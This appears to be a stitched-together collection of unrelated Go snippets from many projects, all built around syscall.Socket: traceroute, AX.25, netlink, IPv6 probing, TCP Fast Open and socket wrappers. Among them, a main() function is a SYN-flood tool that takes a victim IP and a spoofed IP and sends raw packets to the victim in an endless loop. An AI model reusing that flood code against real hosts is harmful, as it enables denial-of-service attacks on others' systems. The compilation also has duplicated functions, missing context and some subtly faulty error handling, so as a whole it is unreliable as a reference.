// ListenAX25 announces on the local port axPort using mycall as the local address. func ListenAX25(axPort, mycall string) (net.Listener, error) { if _, err := loadPorts(); err != nil { return nil, err } // Setup local address (via callsign of supplied axPort) localAddr := newAX25Addr(mycall) if err := localAddr.setPort(axPort); err != nil { return nil, err } // Create file descriptor var socket fd if f, err := syscall.Socket(syscall.AF_AX25, syscall.SOCK_SEQPACKET, 0); err != nil { return nil, err } else { socket = fd(f) } if err := socket.bind(localAddr); err != nil { return nil, err } if err := syscall.Listen(int(socket), syscall.SOMAXCONN); err != nil { return nil, err } return ax25Listener{ sock: fd(socket), localAddr: AX25Addr{localAddr}, }, nil }
// NOTE: Taken from the Go source: src/net/sock_cloexec.go // Wrapper around the socket system call that marks the returned file // descriptor as nonblocking and close-on-exec. func sysSocket(family, sotype, proto int) (int, error) { s, err := syscall.Socket(family, sotype|syscall.SOCK_CLOEXEC, proto) // On Linux the SOCK_NONBLOCK and SOCK_CLOEXEC flags were // introduced in 2.6.27 kernel and on FreeBSD both flags were // introduced in 10 kernel. If we get an EINVAL error on Linux // or EPROTONOSUPPORT error on FreeBSD, fall back to using // socket without them. if err == nil || (err != syscall.EPROTONOSUPPORT && err != syscall.EINVAL) { return s, err } // See ../syscall/exec_unix.go for description of ForkLock. syscall.ForkLock.RLock() s, err = syscall.Socket(family, sotype, proto) if err == nil { syscall.CloseOnExec(s) } syscall.ForkLock.RUnlock() if err != nil { return -1, err } if err = syscall.SetNonblock(s, true); err != nil { syscall.Close(s) return -1, err } return s, nil }
// Wrapper around the socket system call that marks the returned file // descriptor as nonblocking and close-on-exec. func sysSocket(f, t, p int) (int, error) { s, err := syscall.Socket(f, t|syscall.SOCK_NONBLOCK|syscall.SOCK_CLOEXEC, p) // The SOCK_NONBLOCK and SOCK_CLOEXEC flags were introduced in // Linux 2.6.27. If we get an EINVAL error, fall back to // using socket without them. if err == nil || err != syscall.EINVAL { return s, err } // See ../syscall/exec_unix.go for description of ForkLock. syscall.ForkLock.RLock() s, err = syscall.Socket(f, t, p) if err == nil { syscall.CloseOnExec(s) } syscall.ForkLock.RUnlock() if err != nil { return -1, err } if err = syscall.SetNonblock(s, true); err != nil { syscall.Close(s) return -1, err } return s, nil }
func traceOne(addr *syscall.SockaddrInet4, ttl int) *ReturnArgs { cli, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP) if err != nil { exitWithError(err) } srv, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP) if err != nil { exitWithError(err) } defer syscall.Close(cli) defer syscall.Close(srv) // set ttl, stolen from somewhere else... // https://github.com/aeden/traceroute/blob/master/traceroute.go#L195 if err := syscall.SetsockoptInt(cli, syscall.SOL_IP, syscall.IP_TTL, ttl); err != nil { exitWithError(err) } // set timeout, stolen from somewhere else... // https://github.com/aeden/traceroute/blob/master/traceroute.go#L197 tv := syscall.NsecToTimeval(1e6 * TIMEOUT) if err := syscall.SetsockoptTimeval(srv, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv); err != nil { exitWithError(err) } if err := syscall.Bind(srv, toAddr(HOST, RECV_PORT)); err != nil { exitWithError(err) } rr := &ReturnArgs{} start := time.Now() if err := syscall.Sendto(cli, makeICMP(), 0, addr); err != nil { return rr } buf := make([]byte, 512) _, from, err := syscall.Recvfrom(srv, buf, 0) if err != nil { return rr } rr.elapsed = float64(time.Since(start).Nanoseconds()) / 1e6 t, c := parseICMP(buf) if t == 3 && c == 3 { // Destination port unreachable, type==3 && code==3 rr.done = true } else if t != 11 { // Time Exceeded, type==11 && code in (0,1) return rr } rr.ok = true rr.ip = toStr(from) addrs, err := net.LookupAddr(rr.ip) if err != nil { rr.addr = rr.ip } else { rr.addr = addrs[0] } return rr }
// Traceroute executes traceroute to given destination, using options from TracerouteOptions // and sending updates to chan c // // Outbound packets are UDP packets and inbound packets are ICMP. // // Returns an error or nil if no error occurred func Traceroute(dest *net.IPAddr, options *TracerouteOptions, c chan TraceUpdate) (err error) { var destAddr [4]byte copy(destAddr[:], dest.IP.To4()) socketAddr, err := getSocketAddr() if err != nil { return } timeoutMs := (int64)(options.TimeoutMs) tv := syscall.NsecToTimeval(1000 * 1000 * timeoutMs) ttl := 1 for { // Set up receiving socket recvSocket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP) if err != nil { log.Fatal("Cannot setup receive socket, please run as root or with CAP_NET_RAW permissions") return err } // Set up sending socket sendSocket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP) if err != nil { log.Fatal("Cannot setup sending socket") return err } start := time.Now() syscall.SetsockoptInt(sendSocket, 0x0, syscall.IP_TTL, ttl) syscall.SetsockoptTimeval(recvSocket, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv) syscall.Bind(recvSocket, &syscall.SockaddrInet4{Port: options.Port, Addr: socketAddr}) syscall.Sendto(sendSocket, []byte{0x0}, 0, &syscall.SockaddrInet4{Port: options.Port, Addr: destAddr}) var p = make([]byte, options.PacketSize) n, from, err := syscall.Recvfrom(recvSocket, p, 0) elapsed := time.Since(start) if err == nil { currAddr := from.(*syscall.SockaddrInet4).Addr hop := TraceUpdate{Success: true, Address: currAddr, N: n, ElapsedTime: elapsed, TTL: ttl} currHost, err := net.LookupAddr(hop.addressString()) if err == nil { hop.Host = currHost[0] } // Send update c <- hop ttl += 1 // We reached the destination if ttl > options.MaxTTL || currAddr == destAddr { ttl = 1 } } else { c <- TraceUpdate{Success: false, TTL: ttl} ttl += 1 } syscall.Close(recvSocket) syscall.Close(sendSocket) } }
// Dial creates a new protected connection, it assumes that the address has // already been resolved to an IPv4 address. // - syscall API calls are used to create and bind to the // specified system device (this is primarily // used for Android VpnService routing functionality) func Dial(network, addr string, timeout time.Duration) (net.Conn, error) { host, port, err := SplitHostPort(addr) if err != nil { return nil, err } conn := &ProtectedConn{ port: port, } // do DNS query IPAddr := net.ParseIP(host) if IPAddr == nil { log.Printf("Couldn't parse IP address %v while port:%d", host, port) return nil, err } copy(conn.ip[:], IPAddr.To4()) var socketFd int //var err error switch network { case "udp", "udp4", "udp6": socketFd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, 0) default: socketFd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) } //socketFd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) if err != nil { log.Printf("Could not create socket: %v", err) return nil, err } conn.socketFd = socketFd defer conn.cleanup() // Actually protect the underlying socket here err = currentProtect(conn.socketFd) if err != nil { return nil, fmt.Errorf("Could not bind socket to system device: %v", err) } err = conn.connectSocket() if err != nil { log.Printf("Could not connect to %s socket: %v", addr, err) return nil, err } // finally, convert the socket fd to a net.Conn err = conn.convert() if err != nil { log.Printf("Error converting protected connection: %v", err) return nil, err } //conn.Conn.SetDeadline(time.Now().Add(timeout)) return conn, nil }
func Hop(port, ttl int, IP_addr net.IP) (*Hop_ret, error) { ret_addr := net.IPv4(0, 0, 0, 0) success := false // make sockets send_udp_s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP) if err != nil { return nil, err } recv_icmp_s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP) if err != nil { return nil, err } //editing TTL value for outgoing IPv4 packets if err := syscall.SetsockoptInt(send_udp_s, syscall.SOL_IP, syscall.IP_TTL, ttl); err != nil { return nil, err } tv := syscall.NsecToTimeval(1000 * 1000 * TIME_OUT_MS) syscall.SetsockoptTimeval(recv_icmp_s, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv) defer syscall.Close(send_udp_s) defer syscall.Close(recv_icmp_s) //connect sockets if err := syscall.Bind(recv_icmp_s, &syscall.SockaddrInet4{Port: port, Addr: [4]byte{137, 224, 226, 47}}); err != nil { return nil, err } //send udp-packet var IP [4]byte copy(IP[:], IP_addr.To4()) if err := syscall.Sendto(send_udp_s, []byte{0x42, 0x42}, 0, &syscall.SockaddrInet4{Port: 1337, Addr: IP}); err != nil { return nil, err } //receive ICMP recv_buffer := make([]byte, 4096) _, _, err = syscall.Recvfrom(recv_icmp_s, recv_buffer, 0) if err == nil { header, err := ipv4.ParseHeader(recv_buffer) if err != nil { log.Errorf("%q", err) } success = true ret_addr = header.Src } else { //time out success = false ret_addr = net.IPv4(0, 0, 0, 0) //log.Errorf("%q", err) } //resolve (timeout) errors, retry or return false... return &Hop_ret{Addr: ret_addr, TTL: ttl, success: success}, nil }
/* c.sa = new(syscall.SockaddrInet4) c.sa.Addr = [4]byte{10, 1, 1, 131} c.sa.Port = port */ func (c *Worker) socket() { begin := time.Now() s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) if err != nil { syscall.Close(s) return } err = syscall.Connect(s, nil) //TODO if err != nil { lg(err) syscall.Close(s) return } _, err = syscall.Write(s, message.content) if err != nil { syscall.Close(s) return } _, err = syscall.Read(s, c.data) if err != nil { syscall.Close(s) return } syscall.Close(s) time.Now().Sub(begin) }
func (b *ax25Beacon) Now() error { // Create file descriptor //REVIEW: Should we keep it for next beacon? var socket fd if f, err := syscall.Socket(syscall.AF_AX25, syscall.SOCK_DGRAM, 0); err != nil { return err } else { socket = fd(f) } defer socket.close() if err := socket.bind(b.localAddr); err != nil { return fmt.Errorf("bind: %s", err) } msg := C.CString(b.message) _, err := C.sendto( C.int(socket), unsafe.Pointer(msg), C.size_t(len(b.message)), 0, (*C.struct_sockaddr)(unsafe.Pointer(&b.remoteAddr)), C.socklen_t(unsafe.Sizeof(b.remoteAddr)), ) return err }
func (w *Worker) createRawSocket() (fd int) { socket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_TCP) if err != nil { fmt.Fprintf(os.Stderr, "fail to Socket :%s\n", err.Error()) os.Exit(1) } err = syscall.SetsockoptString(socket, syscall.IPPROTO_IP, syscall.IP_HDRINCL, "1") if err != nil { fmt.Fprintf(os.Stderr, "SetsockoptString error :%s\ns", err.Error()) os.Exit(1) } timeVal := new(syscall.Timeval) timeVal.Sec = 6 err = syscall.SetsockoptTimeval(socket, syscall.SOL_SOCKET, syscall.SO_SNDTIMEO, timeVal) if err != nil { fmt.Fprintf(os.Stderr, "SetsockoptTimeval error :%s", err.Error()) os.Exit(1) } return socket }
// Should we try to use the IPv4 socket interface if we're // only dealing with IPv4 sockets? As long as the host system // understands IPv6, it's okay to pass IPv4 addresses to the IPv6 // interface. That simplifies our code and is most general. // Unfortunately, we need to run on kernels built without IPv6 support too. // So probe the kernel to figure it out. func kernelSupportsIPv6() bool { fd, e := syscall.Socket(syscall.AF_INET6, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) if fd >= 0 { syscall.Close(fd) } return e == 0 }
func mcastOpen(bindAddr net.IP, port int, ifname string) (*ipv4.PacketConn, *net.UDPConn, error) { s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP) if err != nil { log.Fatal(err) } if err := syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1); err != nil { log.Fatal(err) } //syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEPORT, 1) if err := syscall.SetsockoptString(s, syscall.SOL_SOCKET, syscall.SO_BINDTODEVICE, ifname); err != nil { log.Fatal(err) } lsa := syscall.SockaddrInet4{Port: port} copy(lsa.Addr[:], bindAddr.To4()) if err := syscall.Bind(s, &lsa); err != nil { syscall.Close(s) log.Fatal(err) } f := os.NewFile(uintptr(s), "") c, err := net.FilePacketConn(f) f.Close() if err != nil { log.Fatal(err) } u := c.(*net.UDPConn) p := ipv4.NewPacketConn(c) return p, u, nil }
func main() { acceptingFd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) check(err) addr := &syscall.SockaddrInet4{Port: 3000, Addr: [4]byte{0, 0, 0, 0}} err = syscall.Bind(acceptingFd, addr) check(err) err = syscall.Listen(acceptingFd, 100) check(err) for { connectionFd, _, err := syscall.Accept(acceptingFd) check(err) fmt.Println("Accepted new connectrion") data := make([]byte, 1024) _, err = syscall.Read(connectionFd, data) check(err) fmt.Printf("Received: %s\n", string(data)) _, err = syscall.Write(connectionFd, data) check(err) err = syscall.Close(connectionFd) check(err) } }
func (nlSock *NLSocket) Init() error { //16 - NETLINK_GENERIC sd, err := syscall.Socket(syscall.AF_NETLINK, syscall.SOCK_DGRAM, NETLINK_GENERIC) if err != nil { return fmt.Errorf("cant create netlink socket %v\n", err) } pid := uint32(syscall.Getpid()) sa := &syscall.SockaddrNetlink{ Pid: pid, Groups: 0, Family: syscall.AF_NETLINK} if err = syscall.Bind(sd, sa); err != nil { return fmt.Errorf("cant bind to netlink socket: %v\n", err) } nlSock.Lock = new(sync.Mutex) nlSock.Sd = sd nlSock.Seq = 0 nlSock.PortID = pid for k, v := range LookupOnStartup { familyId, err := nlSock.ResolveFamily(NulStringType(k)) if err != nil { return err } CreateMsgType(v, uint16(*familyId)) MT2Family[k] = uint16(*familyId) } return nil }
func advert(_ net.PacketConn, src, dst net.IP, p *net.IPNet) error { s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP) if err != nil { return err } syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1) syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEPORT, 1) syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1) pdst := dst if *useLimited && runtime.GOOS == "freebsd" { dst = directed(p) syscall.SetsockoptInt(s, syscall.IPPROTO_IP, 0x17, 1) // IP_ONESBCAST } sa := &syscall.SockaddrInet4{Port: *port} copy(sa.Addr[:], src.To4()) if err := syscall.Bind(s, sa); err != nil { syscall.Close(s) return err } f := os.NewFile(uintptr(s), fmt.Sprintf("udp:%v->", src)) c, err := net.FilePacketConn(f) f.Close() if err != nil { return err } defer c.Close() // If you are lucky, you can see that on some platform the // kernel sometimes transmits a wrong frame addressed to IPv4 // limited broadcast address with some nexthop's link-layer // address on a broadcast-capable link. // In general, using BPF for transmitting IPv4 limited // broadcast addresses is a reasonable choice. _, err = c.WriteTo([]byte(fmt.Sprintf("%s-%v", runtime.GOOS, pdst)), &net.UDPAddr{IP: dst, Port: *port}) return err }
func (io *NetIOManager) ProxyNetListen(sa syscall.Sockaddr) error { serverfd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) if err != nil { goto Error } err = syscall.Bind(serverfd, sa) if err != nil { goto Cleanup } err = syscall.Listen(serverfd, io.max_backlog) if err != nil { goto Cleanup } err = syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_ADD, serverfd, &syscall.EpollEvent{Events: syscall.EPOLLIN, Fd: int32(serverfd)}) if err != nil { goto Cleanup } io.proxy_server_fd = serverfd return nil Cleanup: syscall.Close(serverfd) Error: return err }
func main() { log.SetPrefix("") log.SetFlags(0) if os.Geteuid() != 0 { log.Fatal(errors.New("please run as root")) } fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW) check(err) if len(os.Args) < 3 { log.Fatal("usage: synflood <victimIP> <spoofedIP>") } raddr := net.ParseIP(os.Args[1]) addr := syscall.SockaddrInet4{ Port: 0, Addr: to4Array(raddr), } p := packet(raddr) switch runtime.GOOS { case "darwin", "dragonfly", "freebsd", "netbsd": // need to set explicitly check(syscall.SetsockoptInt(fd, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1)) // no need to receive anything check(syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_RCVBUF, 1)) case "linux": // no need to receive anything check(syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_RCVBUF, 0)) } for { check(syscall.Sendto(fd, p, 0, &addr)) } }
// NewReusablePortPacketConn returns net.FileListener that created from a file discriptor for a socket with SO_REUSEPORT option. func NewReusablePortPacketConn(proto, addr string) (l net.PacketConn, err error) { var ( soType, fd int file *os.File sockaddr syscall.Sockaddr ) if sockaddr, soType, err = getSockaddr(proto, addr); err != nil { return nil, err } if fd, err = syscall.Socket(soType, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP); err != nil { return nil, err } if err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, reusePort, 1); err != nil { return nil, err } if err = syscall.Bind(fd, sockaddr); err != nil { return nil, err } // File Name get be nil file = os.NewFile(uintptr(fd), filePrefix+strconv.Itoa(os.Getpid())) if l, err = net.FilePacketConn(file); err != nil { return nil, err } if err = file.Close(); err != nil { return nil, err } return l, err }
func DriverName(intf string) (string, error) { fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_IP) if err != nil { return "", err } drvinfo := ethtoolDrvInfo{ cmd: ETHTOOL_GDRVINFO, } var name [IFNAMSIZ]byte copy(name[:], []byte(intf)) ifr := ifreq{ ifr_name: name, ifr_data: uintptr(unsafe.Pointer(&drvinfo)), } _, _, ep := syscall.Syscall(syscall.SYS_IOCTL, uintptr(fd), SIOCETHTOOL, uintptr(unsafe.Pointer(&ifr))) if ep != 0 { return "", syscall.Errno(ep) } return string(bytes.Trim(drvinfo.driver[:], "\x00")), nil }
// Disable TX checksum offload on specified interface func EthtoolTXOff(name string) error { if len(name)+1 > IFNAMSIZ { return fmt.Errorf("name too long") } socket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, 0) if err != nil { return err } defer syscall.Close(socket) // Request current value value := EthtoolValue{Cmd: ETHTOOL_GTXCSUM} request := IFReqData{Data: uintptr(unsafe.Pointer(&value))} copy(request.Name[:], name) if err := ioctlEthtool(socket, uintptr(unsafe.Pointer(&request))); err != nil { return err } if value.Data == 0 { // if already off, don't try to change return nil } value = EthtoolValue{ETHTOOL_STXCSUM, 0} return ioctlEthtool(socket, uintptr(unsafe.Pointer(&request))) }
// Dials a netlink socket. Usually you do not need permissions for this, // though specific commands may be rejected. func Dial(nlf NetlinkFamily) (rwc *Socket, err error) { fdno, err := syscall.Socket(syscall.AF_NETLINK, syscall.SOCK_DGRAM, int(nlf)) if err == nil { rwc = &Socket{fd: fdno} } return }
func probeIPv6Stack() (supportsIPv6, supportsIPv4map bool) { var probes = []struct { laddr net.TCPAddr value int ok bool }{ // IPv6 communication capability {laddr: net.TCPAddr{IP: net.ParseIP("::1")}, value: 1}, // IPv6 IPv4-mapped address communication capability {laddr: net.TCPAddr{IP: net.IPv4(127, 0, 0, 1)}, value: 0}, } for i := range probes { s, err := syscall.Socket(syscall.AF_INET6, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) if err != nil { continue } defer closesocket(s) syscall.SetsockoptInt(s, syscall.IPPROTO_IPV6, syscall.IPV6_V6ONLY, probes[i].value) sa, err := sockaddrTCP(&probes[i].laddr, syscall.AF_INET6) if err != nil { continue } if err := syscall.Bind(s, sa); err != nil { continue } probes[i].ok = true } return probes[0].ok, probes[1].ok }
func (k *PosixKernel) Socket(domain, typ, protocol int) uint64 { fd, err := syscall.Socket(domain, typ, protocol) if err != nil { return Errno(err) } return uint64(fd) }
// Bind our netlink socket and // send a listen control message to the connector driver. func (listener *netlinkListener) bind() error { sock, err := syscall.Socket( syscall.AF_NETLINK, syscall.SOCK_DGRAM, syscall.NETLINK_CONNECTOR) if err != nil { return err } listener.sock = sock listener.addr = &syscall.SockaddrNetlink{ Family: syscall.AF_NETLINK, Groups: _CN_IDX_PROC, Pid: uint32(os.Getpid()), } err = syscall.Bind(listener.sock, listener.addr) if err != nil { return err } return listener.send(_PROC_CN_MCAST_LISTEN) }
func TestMonitorAndParseRIB(t *testing.T) { if testing.Short() || os.Getuid() != 0 { t.Skip("must be root") } // We suppose that using an IPv4 link-local address and the // dot1Q ID for Token Ring and FDDI doesn't harm anyone. pv := &propVirtual{addr: "169.254.0.1", mask: "255.255.255.0"} if err := pv.configure(1002); err != nil { t.Skip(err) } if err := pv.setup(); err != nil { t.Skip(err) } pv.teardown() s, err := syscall.Socket(syscall.AF_ROUTE, syscall.SOCK_RAW, syscall.AF_UNSPEC) if err != nil { t.Fatal(err) } defer syscall.Close(s) go func() { b := make([]byte, os.Getpagesize()) for { n, err := syscall.Read(s, b) if err != nil { return } ms, err := ParseRIB(0, b[:n]) if err != nil { t.Error(err) return } ss, err := msgs(ms).validate() if err != nil { t.Error(err) return } for _, s := range ss { t.Log(s) } } }() for _, vid := range []int{1002, 1003, 1004, 1005} { pv := &propVirtual{addr: "169.254.0.1", mask: "255.255.255.0"} if err := pv.configure(vid); err != nil { t.Fatal(err) } if err := pv.setup(); err != nil { t.Fatal(err) } time.Sleep(200 * time.Millisecond) if err := pv.teardown(); err != nil { t.Fatal(err) } time.Sleep(200 * time.Millisecond) } }
// Create a tcp socket, setting the TCP_FASTOPEN socket option. func (s *TFOServer) Bind() (err error) { s.fd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) if err != nil { if err == syscall.ENOPROTOOPT { err = errors.New("TCP Fast Open server support is unavailable (unsupported kernel).") } return } err = syscall.SetsockoptInt(s.fd, syscall.SOL_TCP, TCP_FASTOPEN, 1) if err != nil { err = errors.New(fmt.Sprintf("Failed to set necessary TCP_FASTOPEN socket option: %s", err)) return } sa := &syscall.SockaddrInet4{Addr: s.ServerAddr, Port: s.ServerPort} err = syscall.Bind(s.fd, sa) if err != nil { err = errors.New(fmt.Sprintf("Failed to bind to Addr: %v, Port: %d, Reason: %s", s.ServerAddr, s.ServerPort, err)) return } log.Printf("Server: Bound to addr: %v, port: %d\n", s.ServerAddr, s.ServerPort) err = syscall.Listen(s.fd, LISTEN_BACKLOG) if err != nil { err = errors.New(fmt.Sprintf("Failed to listen: %s", err)) return } return }
// Should we try to use the IPv4 socket interface if we're // only dealing with IPv4 sockets? As long as the host system // understands IPv6, it's okay to pass IPv4 addresses to the IPv6 // interface. That simplifies our code and is most general. // Unfortunately, we need to run on kernels built without IPv6 // support too. So probe the kernel to figure it out. // // probeIPv6Stack probes both basic IPv6 capability and IPv6 IPv4- // mapping capability which is controlled by IPV6_V6ONLY socket // option and/or kernel state "net.inet6.ip6.v6only". // It returns two boolean values. If the first boolean value is // true, kernel supports basic IPv6 functionality. If the second // boolean value is true, kernel supports IPv6 IPv4-mapping. func probeIPv6Stack() (supportsIPv6, supportsIPv4map bool) { var probes = []struct { la TCPAddr ok bool }{ // IPv6 communication capability {TCPAddr{IP: ParseIP("::1")}, false}, // IPv6 IPv4-mapped address communication capability {TCPAddr{IP: IPv4(127, 0, 0, 1)}, false}, } for i := range probes { s, err := syscall.Socket(syscall.AF_INET6, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) if err != nil { continue } defer closesocket(s) syscall.SetsockoptInt(s, syscall.IPPROTO_IPV6, syscall.IPV6_V6ONLY, 0) sa, err := probes[i].la.toAddr().sockaddr(syscall.AF_INET6) if err != nil { continue } err = syscall.Bind(s, sa) if err != nil { continue } probes[i].ok = true } return probes[0].ok, probes[1].ok }
// Socket wraps syscall.Socket. func (sw *Switch) Socket(family, sotype, proto int) (s int, err error) { so := &Status{Cookie: cookie(family, sotype, proto)} sw.fmu.RLock() f, _ := sw.fltab[FilterSocket] sw.fmu.RUnlock() af, err := f.apply(so) if err != nil { return -1, err } s, so.Err = syscall.Socket(family, sotype, proto) if err = af.apply(so); err != nil { if so.Err == nil { syscall.Close(s) } return -1, err } if so.Err != nil { return -1, so.Err } sw.smu.Lock() nso := sw.addLocked(s, family, sotype, proto) sw.stats.getLocked(nso.Cookie).Opened++ sw.smu.Unlock() return s, nil }
// Socket wraps syscall.Socket. func (sw *Switch) Socket(family, sotype, proto int) (s syscall.Handle, err error) { so := &Status{Cookie: cookie(family, sotype, proto)} sw.fmu.RLock() f, _ := sw.fltab[FilterSocket] sw.fmu.RUnlock() af, err := f.apply(so) if err != nil { return syscall.InvalidHandle, err } s, so.Err = syscall.Socket(family, sotype, proto) if err = af.apply(so); err != nil { if so.Err == nil { syscall.Closesocket(s) } return syscall.InvalidHandle, err } sw.smu.Lock() defer sw.smu.Unlock() if so.Err != nil { sw.stats.getLocked(so.Cookie).OpenFailed++ return syscall.InvalidHandle, so.Err } nso := sw.addLocked(s, family, sotype, proto) sw.stats.getLocked(nso.Cookie).Opened++ return s, nil }
// Create a tcp socket and send data on it. This uses the sendto() system call // instead of connect() - because connect() calls does not support sending // data in the syn packet, but the sendto() system call does (as often used in // connectionless protocols such as udp. func (c *TFOClient) Send() (err error) { c.fd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) if err != nil { return } defer syscall.Close(c.fd) sa := &syscall.SockaddrInet4{Addr: c.ServerAddr, Port: c.ServerPort} // Data to appear, if an existing tcp fast open cookie is available, this // data will appear in the SYN packet, if not, it will appear in the ACK. data := []byte("Hello TCP Fast Open") log.Printf("Client: Sending to server: %#v\n", string(data)) // Use the sendto() syscall, instead of connect() err = syscall.Sendto(c.fd, data, syscall.MSG_FASTOPEN, sa) if err != nil { if err == syscall.EOPNOTSUPP { err = errors.New("TCP Fast Open client support is unavailable (unsupported kernel or disabled, see /proc/sys/net/ipv4/tcp_fastopen).") } err = errors.New(fmt.Sprintf("Received error in sendTo():", err)) return } // Note, this exists before waiting for response and is meant to illustrate // the use of the sendto() system call, not of a complete and proper socket // setup and teardown processes. return }